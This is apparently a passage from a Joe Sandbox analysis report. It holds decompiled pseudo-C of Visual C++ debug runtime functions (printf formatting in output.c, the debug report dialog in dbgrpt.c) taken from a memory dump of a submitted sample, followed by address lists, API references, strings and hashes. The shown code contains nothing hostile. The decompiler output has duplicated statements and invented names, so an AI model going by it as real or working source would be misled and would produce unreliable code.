																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t574 = 0;
									if(0 == 0) {
										 *(_t600 - 0x4dc) = 0;
									} else {
										 *(_t600 - 0x4dc) = 1;
									}
									 *(_t600 - 0x46c) =  *(_t600 - 0x4dc);
									if( *(_t600 - 0x46c) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t501 = L0041E210();
										_t603 = _t603 + 0x14;
										if(_t501 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t600 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422D00(_t546))) = 0x16;
										E00422A90(_t534, _t546, _t598, _t599, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t600 - 0x4c8) = 0xffffffff;
										E0041ACB0(_t600 - 0x40);
										_t486 =  *(_t600 - 0x4c8);
										goto L225;
									}
								}
							}
							L215:
							if( *(_t600 - 0x45c) == 0) {
								L218:
								 *(_t600 - 0x4f8) = 1;
								L219:
								_t574 =  *(_t600 - 0x4f8);
								 *(_t600 - 0x4bc) =  *(_t600 - 0x4f8);
								if( *(_t600 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t491 = L0041E210();
									_t603 = _t603 + 0x14;
									if(_t491 == 1) {
										asm("int3");
									}
								}
								if( *(_t600 - 0x4bc) != 0) {
									 *(_t600 - 0x4d4) =  *(_t600 - 0x44c);
									E0041ACB0(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d4);
								} else {
									 *((intOrPtr*)(L00422D00(_t538))) = 0x16;
									E00422A90(_t534, _t538, _t598, _t599, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t600 - 0x4d0) = 0xffffffff;
									E0041ACB0(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d0);
								}
								goto L225;
							}
							L216:
							if( *(_t600 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t600 - 0x4f8) = 0;
							goto L219;
						}
					} else {
						L113:
						 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
						__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x4cc) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041ACB0(__ecx);
						__eax =  *(__ebp - 0x4cc);
						L225:
						return E0042BCB0(_t486, _t534,  *(_t600 - 0x48) ^ _t600, _t574, _t598, _t599);
					}
					L115:
					if(( *(_t600 - 0x10) & 0x00000020) == 0) {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					} else {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					}
					 *(_t600 - 0x28) = 1;
					goto L187;
				}
			}

0x0043bf7a
0x0043bf7a
0x0043bf7a
0x0043bf7a
0x0043bf7a
0x0043bf7a
0x0043bf7e
0x0043bf83
0x0043bf86
0x0043bf93
0x00000000
0x00000000
0x0043bf99
0x0043bf99
0x0043bf9b
0x0043bfa9
0x0043bf9d
0x0043bf9d
0x0043bf9d
0x0043bfb3
0x0043bfb9
0x0043bfc6
0x0043bfc8
0x0043bfcd
0x0043bfcf
0x0043bfd4
0x0043bfd9
0x0043bfdb
0x0043bfe0
0x0043bfe6
0x0043bfe8
0x0043bfe8
0x0043bfe6
0x0043bff0
0x0043c038
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x0043c53a
0x0043c540
0x0043c54a
0x0043c564
0x0043c57e
0x0043c585
0x0043c589
0x0043c589
0x0043c566
0x0043c56b
0x0043c56f
0x0043c56f
0x0043c54c
0x0043c551
0x0043c555
0x0043c555
0x0043c54a
0x0043c599
0x0043c5a5
0x0043c5bb
0x0043c5c0
0x0043c5c0
0x0043c5d6
0x0043c5db
0x0043c5e4
0x0043c5ec
0x0043c602
0x0043c607
0x0043c607
0x0043c5ec
0x0043c60e
0x0043c6c8
0x0043c6db
0x0043c6e0
0x00000000
0x0043c614
0x0043c614
0x0043c618
0x00000000
0x00000000
0x0043c61e
0x0043c621
0x0043c62a
0x0043c630
0x0043c630
0x0043c63f
0x0043c647
0x00000000
0x00000000
0x0043c649
0x0043c64c
0x0043c671
0x0043c676
0x0043c679
0x0043c686
0x0043c694
0x0043c6a7
0x0043c6ac
0x0043c6bb
0x00000000
0x0043c6bb
0x0043c688
0x0043c688
0x00000000
0x0043c688
0x0043c6c6
0x0043c6e3
0x0043c6ea
0x0043c6f2
0x0043c708
0x0043c70d
0x0043c70d
0x0043c6f2
0x0043c6ea
0x0043c710
0x0043c714
0x0043c71c
0x0043c721
0x0043c724
0x0043c724
0x0043c72b
0x0043c72b
0x0043b8ab
0x0043b8b2
0x0043b8bf
0x0043b8c4
0x00000000
0x0043b8d7
0x0043b8e1
0x0043b908
0x0043b8ef
0x0043b900
0x0043b900
0x0043b8e1
0x0043b912
0x0043b918
0x0043b924
0x0043b927
0x0043b935
0x0043b938
0x0043b945
0x0043b9ea
0x0043b9f0
0x0043b9fd
0x00000000
0x00000000
0x0043ba03
0x0043ba09
0x00000000
0x0043ba10
0x0043ba10
0x0043ba2a
0x0043ba2f
0x00000000
0x00000000
0x0043ba37
0x0043ba37
0x0043ba3e
0x0043ba41
0x0043ba44
0x0043ba47
0x0043ba4a
0x0043ba4d
0x0043ba50
0x0043ba57
0x0043ba5e
0x00000000
0x00000000
0x0043ba6a
0x0043ba6a
0x0043ba71
0x0043ba7d
0x0043ba80
0x0043ba86
0x0043ba8d
0x00000000
0x00000000
0x0043ba8f
0x0043ba95
0x0043ba95
0x0043ba9c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bae0
0x0043bae0
0x0043bae7
0x0043baea
0x0043bb14
0x0043bb17
0x0043bb17
0x0043bb21
0x0043bb21
0x0043bb25
0x0043baec
0x0043baec
0x0043baf8
0x0043bafb
0x0043baff
0x0043bb01
0x0043bb04
0x0043bb04
0x0043bb07
0x0043bb0a
0x0043bb0d
0x0043bb0f
0x0043bb0f
0x0043bb12
0x0043bb28
0x00000000
0x00000000
0x0043bb2d
0x0043bb2d
0x00000000
0x00000000
0x0043bb39
0x0043bb39
0x0043bb40
0x0043bb43
0x0043bb63
0x0043bb66
0x0043bb66
0x0043bb70
0x0043bb70
0x0043bb74
0x0043bb45
0x0043bb45
0x0043bb51
0x0043bb54
0x0043bb58
0x0043bb5a
0x0043bb5a
0x0043bb61
0x00000000
0x00000000
0x0043bb7c
0x0043bb7c
0x0043bb83
0x0043bb8f
0x0043bb92
0x0043bb98
0x0043bb9f
0x0043bcb2
0x00000000
0x0043bcb2
0x0043bba5
0x0043bbab
0x0043bbab
0x0043bbb2
0x00000000
0x0043bbe9
0x0043bbe9
0x0043bbec
0x0043bbef
0x0043bbf2
0x0043bc19
0x0043bc19
0x0043bc1c
0x0043bc1f
0x0043bc22
0x0043bc46
0x0043bc46
0x0043bc49
0x0043bc4c
0x0043bc4f
0x0043bc88
0x0043bc99
0x00000000
0x0043bc99
0x0043bc51
0x0043bc51
0x0043bc54
0x0043bc57
0x0043bc5a
0x00000000
0x00000000
0x0043bc5c
0x0043bc5c
0x0043bc5f
0x0043bc62
0x0043bc65
0x00000000
0x00000000
0x0043bc67
0x0043bc67
0x0043bc6a
0x0043bc6d
0x0043bc70
0x00000000
0x00000000
0x0043bc72
0x0043bc72
0x0043bc75
0x0043bc78
0x0043bc7b
0x00000000
0x00000000
0x0043bc7d
0x0043bc7d
0x0043bc80
0x0043bc83
0x0043bc86
0x0043bc8a
0x00000000
0x0043bc8a
0x00000000
0x0043bc86
0x0043bc24
0x0043bc24
0x0043bc27
0x0043bc2b
0x0043bc2e
0x00000000
0x0043bc30
0x0043bc33
0x0043bc36
0x0043bc3c
0x0043bc41
0x00000000
0x0043bc41
0x0043bc2e
0x0043bbf4
0x0043bbf4
0x0043bbf7
0x0043bbfb
0x0043bbfe
0x00000000
0x0043bc00
0x0043bc03
0x0043bc06
0x0043bc0c
0x0043bc11
0x00000000
0x0043bc11
0x00000000
0x0043bc9b
0x0043bc9b
0x0043bc9e
0x0043bca1
0x00000000
0x00000000
0x0043bbb9
0x0043bbb9
0x0043bbbc
0x0043bbbf
0x0043bbc2
0x0043bbdb
0x0043bbde
0x0043bbde
0x0043bbe1
0x0043bbc4
0x0043bbc4
0x0043bbc7
0x0043bbca
0x0043bbd0
0x0043bbd6
0x0043bbd6
0x00000000
0x00000000
0x0043bca6
0x0043bca6
0x0043bca9
0x0043bca9
0x0043bcaf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bcb7
0x0043bcb7
0x0043bcbe
0x0043bcc4
0x0043bcca
0x0043bccd
0x0043bcd3
0x0043bcda
0x00000000
0x0043c530
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c4e7
0x0043c4ed
0x0043c4f0
0x0043c4f3
0x0043c4f6
0x0043c4f9
0x0043c4ff
0x0043c4ff
0x0043c4ff
0x0043c507
0x0043c50b
0x00000000
0x00000000
0x0043c50d
0x0043c50d
0x0043c510
0x0043c513
0x0043c513
0x0043c518
0x0043c51b
0x0043c51e
0x0043c521
0x0043c524
0x0043c527
0x0043c52a
0x0043c52a
0x0043c52d
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c530
0x0043bce0
0x0043bce6
0x0043bce6
0x0043bced
0x00000000
0x0043c071
0x0043c071
0x0043c07f
0x0043c07f
0x0043c082
0x00000000
0x00000000
0x0043bcf4
0x0043bcf7
0x0043bcf7
0x0043bcfd
0x0043bcff
0x0043bd02
0x0043bd02
0x0043bd05
0x0043bd05
0x00000000
0x00000000
0x0043be3a
0x0043be3d
0x0043be3d
0x0043be42
0x0043be44
0x0043be47
0x0043be47
0x0043be4a
0x0043be4a
0x00000000
0x00000000
0x0043c23d
0x0043c23d
0x00000000
0x00000000
0x0043bda4
0x0043bda4
0x0043bdb0
0x0043bdb6
0x0043bdbd
0x0043bdcb
0x0043bdcb
0x0043bdd1
0x0043bdd4
0x0043bde0
0x0043be35
0x00000000
0x0043be35
0x0043bdbf
0x0043bdbf
0x0043bdc5
0x0043bdc9
0x0043bde8
0x0043bde8
0x0043bdee
0x0043be16
0x0043be1d
0x0043be23
0x0043be26
0x0043be29
0x0043be2f
0x0043be32
0x0043bdf0
0x0043bdf0
0x0043bdf6
0x0043bdf9
0x0043bdfc
0x0043be02
0x0043be05
0x0043be08
0x0043be0a
0x0043be0d
0x0043be0d
0x00000000
0x0043bdee
0x00000000
0x00000000
0x0043c089
0x0043c08c
0x0043c08f
0x0043c092
0x0043c098
0x0043c09b
0x0043c0a2
0x0043c0a6
0x0043c0b1
0x0043c0b1
0x0043c0b5
0x0043c0cc
0x0043c0cc
0x0043c0d3
0x0043c0d5
0x0043c0d5
0x0043c0dc
0x0043c0dc
0x0043c0e3
0x0043c0f1
0x0043c0f4
0x0043c103
0x0043c106
0x0043c10a
0x0043c11f
0x0043c10c
0x0043c10c
0x0043c10f
0x0043c115
0x0043c11a
0x0043c11a
0x0043c10a
0x0043c129
0x0043c12c
0x0043c12f
0x0043c132
0x0043c135
0x0043c138
0x0043c13e
0x0043c144
0x0043c14c
0x0043c14d
0x0043c150
0x0043c151
0x0043c154
0x0043c155
0x0043c15c
0x0043c15d
0x0043c160
0x0043c161
0x0043c164
0x0043c165
0x0043c16b
0x0043c16c
0x0043c17b
0x0043c17d
0x0043c183
0x0043c183
0x0043c188
0x0043c18a
0x0043c18e
0x0043c190
0x0043c198
0x0043c199
0x0043c19c
0x0043c19d
0x0043c1ac
0x0043c1ae
0x0043c1ae
0x0043c18e
0x0043c1b1
0x0043c1b8
0x0043c1bb
0x0043c1c0
0x0043c1c0
0x0043c1c6
0x0043c1c8
0x0043c1d0
0x0043c1d1
0x0043c1d4
0x0043c1d5
0x0043c1e3
0x0043c1e5
0x0043c1e5
0x0043c1c6
0x0043c1e8
0x0043c1eb
0x0043c1ee
0x0043c1f1
0x0043c1f6
0x0043c1fb
0x0043c1fe
0x0043c201
0x0043c201
0x0043c204
0x0043c204
0x0043c207
0x0043c213
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x00000000
0x0043c530
0x0043c0b7
0x0043c0b7
0x0043c0be
0x0043c0c1
0x00000000
0x00000000
0x0043c0c3
0x0043c0c3
0x00000000
0x0043c0c3
0x0043c0a8
0x0043c0a8
0x00000000
0x00000000
0x0043bd08
0x0043bd08
0x0043bd13
0x0043bd1b
0x0043bd22
0x0043bd25
0x0043bd25
0x0043bd28
0x0043bd88
0x0043bd2a
0x0043bd31
0x0043bd37
0x0043bd3d
0x0043bd44
0x0043bd47
0x0043bd4d
0x0043bd55
0x0043bd57
0x0043bd5e
0x0043bd65
0x0043bd6c
0x0043bd74
0x0043bd76
0x0043bd78
0x0043bd78
0x0043bd7f
0x0043bd8f
0x0043bd95
0x0043bd98
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x00000000
0x0043c21b
0x0043c21e
0x0043c221
0x0043c224
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c284
0x0043c284
0x0043c28e
0x0043c28e
0x0043c294
0x0043c296
0x0043c299
0x0043c299
0x0043c29f
0x0043c29f
0x00000000
0x00000000
0x0043c236
0x0043c236
0x00000000
0x00000000
0x0043be4d
0x0043be4d
0x0043be51
0x0043be5f
0x0043be62
0x0043be53
0x0043be53
0x0043be53
0x0043be68
0x0043be6e
0x0043be74
0x0043be80
0x0043be86
0x0043be86
0x0043be89
0x0043bf11
0x0043bf11
0x0043bf15
0x0043bf17
0x0043bf1d
0x0043bf1d
0x0043bf20
0x0043bf27
0x0043bf2a
0x0043bf30
0x0043bf30
0x0043bf30
0x0043bf36
0x0043bf3c
0x0043bf3f
0x0043bf45
0x0043bf47
0x00000000
0x00000000
0x0043bf49
0x0043bf49
0x0043bf4f
0x0043bf52
0x0043bf54
0x00000000
0x00000000
0x0043bf56
0x0043bf5c
0x0043bf5f
0x0043bf5f
0x0043bf67
0x0043bf67
0x0043bf6d
0x0043bf6d
0x0043bf72
0x00000000
0x0043be8f
0x0043be8f
0x0043be8f
0x0043be93
0x0043be95
0x0043be9a
0x0043be9a
0x0043be9d
0x0043bea0
0x0043bea6
0x0043beb8
0x0043beb8
0x0043beb8
0x0043bebb
0x0043bec1
0x00000000
0x00000000
0x0043bec3
0x0043bec3
0x0043bec9
0x0043becc
0x0043bece
0x00000000
0x00000000
0x0043bed0
0x0043bed0
0x0043bed9
0x0043bedf
0x0043bee3
0x0043beeb
0x0043beed
0x0043beef
0x0043bef5
0x0043bef5
0x0043bef8
0x0043bef8
0x0043bf04
0x0043bf07
0x0043beaf
0x0043beb2
0x0043beb2
0x0043beb5
0x0043beb5
0x0043bf0f
0x0043bf75
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c530
0x00000000
0x0043c22d
0x0043c22d
0x00000000
0x00000000
0x0043c249
0x0043c249
0x0043c253
0x0043c253
0x0043c25d
0x0043c25d
0x0043c263
0x0043c265
0x0043c26a
0x0043c274
0x0043c274
0x0043c277
0x0043c27b
0x0043c27b
0x0043c2a2
0x0043c2a5
0x0043c2a5
0x0043c2aa
0x0043c2cc
0x0043c2cc
0x0043c2d2
0x0043c2f4
0x0043c2f4
0x0043c2f7
0x0043c33e
0x0043c33e
0x0043c341
0x0043c35e
0x0043c362
0x0043c36a
0x0043c36a
0x0043c36c
0x0043c372
0x0043c343
0x0043c343
0x0043c347
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2fc
0x0043c2ff
0x0043c31d
0x0043c329
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c301
0x0043c305
0x0043c30d
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d4
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2ac
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37b
0x0043c37b
0x0043c37e
0x0043c3c0
0x0043c3c0
0x0043c3c6
0x0043c3cc
0x0043c3d2
0x00000000
0x0043c380
0x0043c380
0x0043c380
0x0043c387
0x00000000
0x00000000
0x0043c389
0x0043c389
0x0043c394
0x0043c39a
0x0043c39c
0x0043c3a2
0x0043c3a5
0x0043c3a7
0x0043c3ad
0x0043c3b6
0x0043c3bb
0x0043c3d8
0x0043c3db
0x0043c3db
0x0043c3e0
0x0043c3e5
0x0043c3e5
0x0043c3eb
0x0043c3ed
0x0043c3f3
0x0043c3f9
0x0043c3f9
0x0043c402
0x0043c402
0x0043c3eb
0x0043c408
0x0043c40c
0x0043c41a
0x0043c41d
0x0043c420
0x0043c427
0x0043c429
0x0043c429
0x0043c40e
0x0043c40e
0x0043c40e
0x0043c436
0x0043c436
0x0043c43c
0x0043c43e
0x0043c43e
0x0043c445
0x0043c44b
0x0043c44e
0x0043c44e
0x0043c44e
0x0043c454
0x0043c457
0x0043c45a
0x0043c45c
0x00000000
0x00000000
0x0043c45e
0x0043c464
0x0043c464
0x0043c46a
0x00000000
0x00000000
0x0043c46c
0x0043c46c
0x0043c46f
0x0043c472
0x0043c479
0x0043c480
0x0043c488
0x0043c48e
0x0043c491
0x0043c494
0x0043c49b
0x0043c4a7
0x0043c4ad
0x0043c4b3
0x0043c4ba
0x0043c4bc
0x0043c4c2
0x0043c4c2
0x0043c4c8
0x0043c4c8
0x0043c4ce
0x0043c4d7
0x0043c4dc
0x0043c4df
0x0043c44e
0x0043c44e
0x0043c454
0x0043c457
0x0043c45a
0x0043c45c
0x00000000
0x00000000
0x00000000
0x0043c45c
0x0043c44e
0x0043c38b
0x0043c38b
0x0043c392
0x00000000
0x00000000
0x00000000
0x0043c392
0x00000000
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x00000000
0x00000000
0x0043bab9
0x0043bab9
0x0043babc
0x0043babf
0x00000000
0x00000000
0x0043bac4
0x0043bac7
0x0043bacd
0x00000000
0x00000000
0x0043baae
0x0043bab1
0x0043bab4
0x00000000
0x00000000
0x0043baa3
0x0043baa6
0x0043baa9
0x00000000
0x00000000
0x0043bad2
0x0043bad2
0x0043bad5
0x0043bad5
0x0043bad8
0x00000000
0x00000000
0x0043badb
0x00000000
0x00000000
0x0043b94b
0x0043b94b
0x0043b94d
0x0043b95b
0x0043b94f
0x0043b94f
0x0043b94f
0x0043b96b
0x0043b978
0x0043b97a
0x0043b97f
0x0043b981
0x0043b986
0x0043b98b
0x0043b98d
0x0043b992
0x0043b998
0x0043b99a
0x0043b99a
0x0043b998
0x0043b99b
0x0043b9a2
0x00000000
0x0043b9a4
0x0043b9a9
0x0043b9c5
0x0043b9cd
0x0043b9da
0x0043b9df
0x00000000
0x0043b9df
0x0043b9a2
0x0043b945
0x0043c730
0x0043c737
0x0043c74e
0x0043c74e
0x0043c758
0x0043c758
0x0043c75e
0x0043c76b
0x0043c76d
0x0043c772
0x0043c774
0x0043c779
0x0043c77e
0x0043c780
0x0043c785
0x0043c78b
0x0043c78d
0x0043c78d
0x0043c78b
0x0043c795
0x0043c7e0
0x0043c7e9
0x0043c7ee
0x0043c797
0x0043c79c
0x0043c7b8
0x0043c7c0
0x0043c7cd
0x0043c7d2
0x0043c7d2
0x00000000
0x0043c795
0x0043c739
0x0043c740
0x00000000
0x00000000
0x0043c742
0x0043c742
0x00000000
0x0043c742
0x0043bff2
0x0043bff2
0x0043bff7
0x0043c013
0x0043c01b
0x0043c025
0x0043c028
0x0043c02d
0x0043c7f4
0x0043c801
0x0043c801
0x0043c03d
0x0043c043
0x0043c063
0x0043c045
0x0043c052
0x0043c052
0x0043c065
0x00000000
0x0043c065

APIs

_get_int_arg.LIBCMTD ref: 0043BF7E
__get_printf_count_output.LIBCMTD ref: 0043BF8C
__invalid_parameter.LIBCMTD ref: 0043C013
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043C028
_write_multi_char.LIBCMTD ref: 0043C5BB
_write_string.LIBCMTD ref: 0043C5D6
_write_multi_char.LIBCMTD ref: 0043C602
__mbtowc_l.LIBCMTD ref: 0043C671

Strings

_woutput_s_l, xrefs: 0043B9BB, 0043C009
("'n' format specifier disabled", 0), xrefs: 0043BFC8, 0043C00E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043B986, 0043B9B6, 0043BFD4, 0043C004
("Incorrect format specifier", 0), xrefs: 0043B97A, 0043B9C0

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2386203720-1989478660
Opcode ID: 23efc841633733aab2a1b4e97efc35d1b22922ea563b4b65f0f714c3b7737a7c
Instruction ID: 4dbf7cdb7480c5ef0e47e4db8293a591248ac988e6e66636ae95633de2481219
Opcode Fuzzy Hash: 23efc841633733aab2a1b4e97efc35d1b22922ea563b4b65f0f714c3b7737a7c
Instruction Fuzzy Hash: 6EA161F1D002299BDB24DB55CC81BAEB374EF48304F14509AE6197B282D7789E84CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00429857, Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 100
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00429857() {
				intOrPtr _t36;
				intOrPtr* _t37;
				void* _t40;
				void* _t48;
				void* _t62;
				void* _t63;
				signed int _t64;
				void* _t66;
				void* _t67;

				 *(_t64 - 0x114c) = "...";
				if( *((intOrPtr*)(_t64 + 0x14)) == 0) {
					 *(_t64 - 0x1150) = 0x4040d6;
				} else {
					 *(_t64 - 0x1150) = "\nModule: ";
				}
				_push( *((intOrPtr*)(_t64 - 0x1124)));
				_push( *((intOrPtr*)(_t64 - 0x1128)));
				_push( *((intOrPtr*)(_t64 - 0x112c)));
				_push( *((intOrPtr*)(_t64 - 0x1130)));
				_push( *((intOrPtr*)(_t64 - 0x1134)));
				_push( *((intOrPtr*)(_t64 - 0x1138)));
				_push( *((intOrPtr*)(_t64 - 0x113c)));
				_push( *((intOrPtr*)(_t64 - 0x1140)));
				_push( *((intOrPtr*)(_t64 - 0x1144)));
				_push( *(_t64 - 0x114c));
				_push( *(_t64 - 0x1150));
				_push( *((intOrPtr*)(_t64 - 8)));
				_t61 =  *(_t64 + 8);
				_t53 = _t64 - 0x1010;
				_t36 = E0042BC80(_t64 - 0x1010, _t64 - 0x1010, 0x1000, 0xfff, "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%s%s%s\n\n(Press Retry to debug the application)",  *((intOrPtr*)(0x405210 +  *(_t64 + 8) * 4)));
				_t67 = _t66 + 0x44;
				 *((intOrPtr*)(_t64 - 0xc)) = _t36;
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 =  *(L00422D00(_t53));
					E0041D8E0( *(L00422D00(_t53)), 0x16, 0x22, L"(*_errno())", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x160, 0);
					_t67 = _t67 + 0x20;
				}
				_t37 = L00422D00(_t53);
				_t54 =  *((intOrPtr*)(_t64 - 0x1120));
				 *_t37 =  *((intOrPtr*)(_t64 - 0x1120));
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 = _t64 - 0x1010;
					E0041DE50(E0041D9D0(_t48, _t54, _t63, _t64 - 0x1010, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t44, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x165, 0);
					_t67 = _t67 + 0x24;
				}
				 *((intOrPtr*)(_t64 - 0x111c)) = E00435730(_t64 - 0x1010, "Microsoft Visual C++ Debug Library", 0x12012);
				if( *((intOrPtr*)(_t64 - 0x111c)) == 3) {
					E0042D3E0(0x16);
					E00425EF0(3);
				}
				if( *((intOrPtr*)(_t64 - 0x111c)) != 4) {
					_t40 = 0;
				} else {
					_t40 = 1;
				}
				return E0042BCB0(_t40, _t48,  *(_t64 - 0x10) ^ _t64, _t61, _t62, _t63);
			}

0x00429857
0x00429871
0x0042987f
0x00429873
0x00429873
0x00429873
0x0042988f
0x00429896
0x0042989d
0x004298a4
0x004298ab
0x004298b2
0x004298b9
0x004298c0
0x004298c7
0x004298ce
0x004298d5
0x004298d9
0x004298da
0x004298f4
0x004298fb
0x00429900
0x00429903
0x0042990a
0x0042992b
0x0042992e
0x00429933
0x00429933
0x00429936
0x0042993b
0x00429941
0x00429947
0x00429969
0x00429979
0x0042997e
0x0042997e
0x0042999a
0x004299a7
0x004299ab
0x004299b5
0x004299b5
0x004299c1
0x004299ca
0x004299c3
0x004299c3
0x004299c3
0x004299d9

APIs

__snwprintf_s.LIBCMTD ref: 004298FB
__invoke_watson_if_oneof.LIBCMTD ref: 0042992E
_wcscpy_s.LIBCMTD ref: 00429970
__invoke_watson_if_error.LIBCMTD ref: 00429979
___crtMessageBoxW.LIBCMTD ref: 00429992
_raise.LIBCMTD ref: 004299AB

Strings

..., xrefs: 00429857, 004298CE
Module: , xrefs: 00429873
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 004298E5
(*_errno()), xrefs: 0042991D
__crtMessageWindowA, xrefs: 00429918, 00429955
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c, xrefs: 00429913, 00429950
Microsoft Visual C++ Debug Library, xrefs: 00429986
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042995A
_CrtDbgReport: String too long or IO Error, xrefs: 0042995F

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
